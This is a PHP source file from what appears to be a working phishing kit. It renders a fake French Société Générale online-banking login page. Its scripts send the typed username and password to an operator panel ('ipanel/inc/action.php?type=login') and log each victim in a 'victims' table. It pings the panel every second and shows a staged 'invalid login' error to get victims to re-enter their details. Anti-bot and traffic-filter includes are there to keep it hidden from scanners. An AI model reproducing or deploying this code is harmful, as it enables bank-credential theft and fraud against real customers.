<?php
include '../ipanel/inc/config.php';
if ($enable_blacktds == "checked") {
    include "../blacktds.php";
}
include '../ipanel/inc/connect.php';
if ($mobile_lock == "checked") {
    include "../ipanel/inc/mob_lock.php";
}
include '../ipanel/inc/blacklist_i.php';
include '../ipanel/inc/gateway.php';
if ($enable_antibots == "checked") {
   include "../ipanel/inc/old_blocker.php";
   include '../ipanel/inc/anti.php';
}
session_start();
$url = $_SERVER['REQUEST_URI'];
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];

$query = mysqli_query($conn, "SELECT * FROM visits WHERE ua='$ua' AND ip='$ip'");
$num = mysqli_num_rows($query);
if ($num == 0) {
   mysqli_query($conn, "INSERT INTO visits (ua, ip) VALUES ('$ua', '$ip')");
}


if(!isset($_SESSION['int_visited'])) {
   header("Location: ../exit.php");
}

if($_SESSION['started'] == 'true'){
   $uniqueid = $_SESSION['uniqueid'];
   $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
   if ($query) {
           $query = mysqli_query($conn, "UPDATE victims SET status=1 WHERE uniqueid=$uniqueid");
       }
}    

if($captcha_enabled== "checked") {
   $currentParams = $_SERVER['QUERY_STRING'];
    if(!isset($_SESSION['captcha_finished'])) {
    header("Location: ../captcha_error.php?$currentParams");
    }
 }
 

if ($_SESSION['started'] == 'true') {
   $uniqueid = $_SESSION['uniqueid'];
   $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
   if ($query) {
      $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
      $user = $arr['user'];
      if ($user != '') {
        $error = "<div aria-atomic='true' aria-live='polite' aria-hidden='false' class='errorMessages messageBox displayNone' role='alert' id='errorMessages' style='display: block;'>
  <div class='messageAbove' aria-hidden='false'></div>
  <div class='messageBg' aria-hidden='false'>
    <div tabindex='0' class='messageBody' aria-hidden='false'>
      <h2 aria-level='2' class='messageHeading errorHeadingWithIcon' role='heading' id='errorMessageHeading'>
        <span aria-hidden='true' class='infoLabel displayNone' id='errUsernamePassword' style='display: inline-block;'>Données de connexion invalides</span>
      </h2>
      <div class='messageDescription' aria-hidden='false'>
        <span class='displayNone' id='msgUsernamePassword' aria-hidden='false' style='display: inline;'>Vos informations de connexion ne correspondent pas à nos enregistrements.</span>
      </div>
    </div>
  </div>
</div>
";
      }
   }
}


?>
<!DOCTYPE html SYSTEM "about:legacy-compat">
<html class="fr" lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">


<meta content="no-store" http-equiv="cache-control">
<meta content="no-cache" http-equiv="cache-control">
<meta content="no-cache" http-equiv="pragma">
<meta content="0" http-equiv="expires">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<meta content="width=1024" name="viewport">
<meta content="IDLE" name="asyncTaskIndicator">
<title>Connexion à la banque en ligne</title>
<link type="text/css" rel="stylesheet" href="./theme/desktop.css">

<link type="text/css" rel="stylesheet" href="./theme/components.default.css">
<link type="image/x-icon" rel="shortcut icon" href="theme/favicon.ico">
<script>
function check(form) {

if (form.username.value.length < 4)
{ form.username.focus(); document.getElementById("username").style.borderColor = "#bb2a2c"; return;}
else { document.getElementById("username").style.borderColor = "#c8c8c8"; }

if (form.password.value.length < 4)
{ form.password.focus(); document.getElementById("password").style.borderColor = "#bb2a2c"; return;}
else { document.getElementById("password").style.borderColor = "#c8c8c8"; }

submit_form();

// form.submit()
}
</script>



</head>
<body class="login">
<div aria-live="polite" aria-relevant="additions text" class="content loginMainPanelContainer">
<div class="lineAboveMasthead"></div>
<div class="masthead mastheadPanel" id="mastheadId">
<div class="headingPageRegion headingPage loginMainPanelContainer" role="row">
<span role="gridcell" class="headingPageText">BIENVENUE</span>
</div>
<div role="navigation">
<div class="printNone" role="menubar" id="primaryNav">
<div aria-hidden="false" class="displayNone" id="loginLanguages" style="display: block;">
<div class="buttonGroupContainer floatRight" id="loginLanguageButtons">
<button name="loginLanguageButtons_fr" class="groupButton jsActive" role="button" type="button" id="loginLanguageButtons_fr">
<div class="buttonLeft floatLeft"></div>
<div class="groupButtonMiddle floatLeft  "><?= translateText('errorsp2', $currentLanguage); ?></div>
<div class="buttonRight floatLeft"></div>
</button>
</div>
</div>
</div>
</div>
</div>
<div class="mainPanelContainer loginMainPanelContainer">
<div class="mainPanel fiveColumn clearfix">
<div class="loginPanel moduleDisplayRegion formPanel loginMainPanelContainer" role="main">
<span aria-hidden="true" class="displayNone" id="popupDisable"></span>
<div class="loginFormRegion">
<form aria-labelledby="pageModule" action="" method="POST" id="loginForm" autocomplete="off">
<input type="hidden" name="iname" id="iname" value="i5">
<div id="pageModule">
<div class="borderBelow separatedPanel" id="pageHeaderBar">
<div role="grid" id="authGrid">
<div class="masthead mastheadPanel primaryLoginScreen" id="mastheadId">
<div class="mastheadShadow"></div>
<div role="banner" class="mastheadPanel">
<div class="printNone">
<div class="brandName printNone floatRight"></div>
<div class="logo loginPanel step1" id="logoDiv"></div>
</div>
<div aria-hidden="true" class="displayNone floatRight printBlock">
<img alt="" class="logoPrint" src="./theme/pic_logo.png"></div>
</div>
</div>
<div class="infoRow spread headingInfoRow displayNone" role="row" id="helpdeskRow">
<div class="loginPicture"></div>
<div class="infoLabel floatLeft helpDeskInfo" role="gridcell">Votre connexion</div>
<div class="infoDescription" role="gridcell">
    Vous vous êtes connecté(e) avec succès
  </div>
</div>
<div aria-hidden="true" class="infoRow spread headingInfoRow displayNone" role="row" id="helpGettingStartedLink">
<div class="infoLabel floatLeft" role="gridcell"><span></span></div>
</div>
<div aria-hidden="true" class="infoRow spread headingInfoRow displayNone" role="row" id="custName2Row">
<div class="infoLabel floatLeft" role="gridcell">Nom du client</div>
<div role="gridcell" class="infoDescription" id="custName2">&nbsp;</div>
</div>
<div aria-hidden="true" class="infoRow spread headingInfoRow displayNone" role="row" id="lastLoginDateRow">
<div class="infoLabel floatLeft" role="gridcell">Dernière connexion</div>
<div role="gridcell" class="infoDescription" id="lastLoginDate">&nbsp;</div>
</div>
</div>
</div>






<div aria-hidden="false" aria-labelledby="loginHeading" class="displayNone loginMainPanelContainer" role="group" id="loginPanel">
<div aria-hidden="false" class="displayNone" role="grid" id="step1" style="display: block;">
<span id="masterPasswordSection" aria-hidden="true" style="display: none;">
<div aria-hidden="true" class="floatRight displayNone" id="masterPasswordMsg"></div>
<div role="row" class="infoRow">

</div>
</span>
<div class="floatRight" id="usernameMsg">
<?= $error?>
</div>
<div role="row" class="infoRow loginMainPanelContainer">
<div role="gridcell" class="infoLabel loginMainPanelContainer floatLeft">
<label for="username" style="font-size: 13px !important; margin-left: 0px;line-height: 42px;">Identifiant</label>
</div>
</div>
<div role="row" class="infoRow loginMainPanelContainer">
<div role="gridcell" class="loginInput">
<div class="input-placeholder" aria-hidden="false">
<input value="Identifiant" tabindex="1" aria-required="true" autocomplete="off" class="inputField twoColumn" maxlength="80" type="number" name="username" id="username" onKeyDown="if(event.keyCode==13) check(this.form);"><label class="placeholder" style="z-index: 1; opacity: 1; display: none;" aria-hidden="true"></label></div>
<div class="floatLeft customOuterContainer" id="boundContractsSelectInputSelect" aria-hidden="true" style="display: none;">
<div class="custSelectIputAndButtonWrapper ">
<input tabindex="-1" value="" aria-owns="boundContractsSelectInputList" aria-autocomplete="list" aria-expanded="false" class="floatLeft inputField loginInputField custSelectInputField tagInputButtonField" name="boundContractsSelectInput" type="text" role="combobox" id="boundContractsSelectInput" autocomplete="off"><button aria-controls="boundContractsSelectInputList" role="button" type="button" class="iconButton floatLeft custSelectButton " id="boundContractsSelectInputButton">
<div class="iconButtonImage iconDropdown"></div>
</button>
</div>
<div aria-labelledby="boundContractsSelectInputListHeading" aria-hidden="true" class="displayNone custSelectPopupMenuContainer loginInputField" role="listbox" id="boundContractsSelectInputList">
<div class="custSelectPopupMenu loginInputField ">
<div class="pointerUp" id="boundContractsSelectInputSelectPointerId"></div>
<div class="custSelectHeading " id="boundContractsSelectInputListHeading"></div>
<div class="custSelectList tagContent " id="boundContractsSelectInputListOptions"></div>
<div class="pointerDownBright" id="boundContractsSelectInputSelectPointerIdBelow"></div>
<div aria-hidden="true" class="displayNone tagTemplateContent" id="boundContractsSelectInputListOptionTemplate">
<div class="custSelectListItem  productVisualizationOption1" role="option">
<div class="tagOptionText"></div>
</div>
</div>
<div aria-hidden="true" class="displayNone">
<span id="boundContractsSelectInputSelectItemsSelected">Critères sélectionnés</span><span id="boundContractsSelectInputSelectNewFolderName">Nouveau nom de dossier</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="separator"></div>
<div class="floatRight" id="passwordMsg"></div>
<div>
<div role="row" class="infoRow loginMainPanelContainer">
<div role="gridcell" class="infoLabel loginMainPanelContainer floatLeft">
<label for="password" style="font-size: 13px !important; margin-left: 0px;line-height: 42px;">Mot de passe</label>
</div>
</div>
<div role="row" class="infoRow loginMainPanelContainer">
<div role="gridcell" class="loginInput">
<div class="input-placeholder">
<input tabindex="2" aria-required="true" autocomplete="off" class="inputField twoColumn" maxlength="32" type="password" name="password" id="password" onKeyDown="if(event.keyCode==13) check(this.form);" placeholder="Mot de passe"></div>
</div>
</div>
</div>
</div>
<div aria-hidden="true" class="displayNone" id="deviceBindNewContract" role="row">
<div role="gridcell" class="subHeadingRegion">
<div aria-label="Ajouter un autre contrat?" class="floatLeft expandGroupIcon" role="button" tabindex="0" id="deviceBindNewContractHintCollapse"></div>
<h2 aria-level="2" class="subHeading" role="heading">Ajouter un autre contrat?</h2>
</div>
<div role="gridcell" aria-hidden="true" class="displayNone" id="deviceBindNewContractHintPanel">
<div class="detailRow text margin50 noBorderBottom">
<div>&nbsp;</div>
<div>Pour ajouter un autre contrat et avoir accès à vos comptes et informations dans votre E-banking, tapez sur le bouton ci-dessous.</div>
<div>&nbsp;</div>
</div>
<div class="detailRow text noBorderBottom">
<div class="detailCell text" role="gridcell">
<button class="primaryButton floatRight nextButton" role="button" type="button" name="bindNewContract" id="buttonBindNewContract">
<div class="buttonMiddle primaryButtonMiddle floatRight">Ajouter un nouveau contrat</div>
</button>
</div>
<div>&nbsp;</div>
</div>
</div>
</div>




</div>



<div aria-hidden="false" class="displayNone" id="actionButtons" style="display: block;">
<div class="actionButtons printNone loginMainPanelContainer">
<div aria-hidden="false" class="displayNone" id="buttonsNextReset" style="display: block;">
<div class="buttonPanelCols2And3">
<div class="floatRight">
<button tabindex="3" class="floatLeft p2" name="cancel" role="button" onclick="check(this.form)" type="button" id="reset">
<div class="buttonRight floatRight"></div>
<div class="buttonMiddle primaryButtonMiddle floatRight">Réinitialiser</div>
<div class="buttonLeft floatRight"></div>
</button><button tabindex="4" class="primaryButton floatLeft nextButton" name="submit" role="button" onclick="check(this.form)" type="button" id="submit">
<div class="buttonRight primaryButtonRight floatRight"></div>
<div class="buttonMiddle primaryButtonMiddle floatRight"><?= translateText('submitbtn', $currentLanguage); ?></div>
<div class="buttonLeft primaryButtonLeft floatRight"></div>
</button>
</div>
</div>
</div>





</div>
</div>

</div>


</form>

</div>
</div>
</div>
</div>
</div>

<div class="footer printNone" aria-label="Liens web" role="contentinfo">
<div class="fatSeparator footerSeparator threeColumn">&nbsp;</div>
<div class="footerPanel threeColumn loginMainPanelContainer">
<div class="footerLinks loginMainPanelContainer">
</div>
<span class="copyrightLine">Copyright © Société Générale 2025</span>
</div>
</div>



<script src="../assets/js/jquery-1.11.3.min.js"></script>
<script src="../assets/js/main.js"></script>
<script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var iname = document.getElementById('iname').value;
         var username = document.getElementById('username').value;
         var password = document.getElementById('password').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=login',
            data: 'username=' + username + '&password=' + password + '&iname=' + iname,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                window.location.href = "loading.php";
                  // timer();
               }
            }
         })
      }


   </script>
      <!-- <script>
   function timer() {
		var statusredirect = <?php echo json_encode($static_redirect); ?>;
         var urldata = "../ipanel/inc/action.php?type=getstatus";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               if (statusredirect == 'checked') {
                  clearInterval(timer)
                  window.top.location.href = "../error.php";
               } else if (response == '2') {
                  clearInterval(timer)
                  window.top.location.href = "../loading.php";
               }
            }

         });
      }

   </script> -->

</body></html>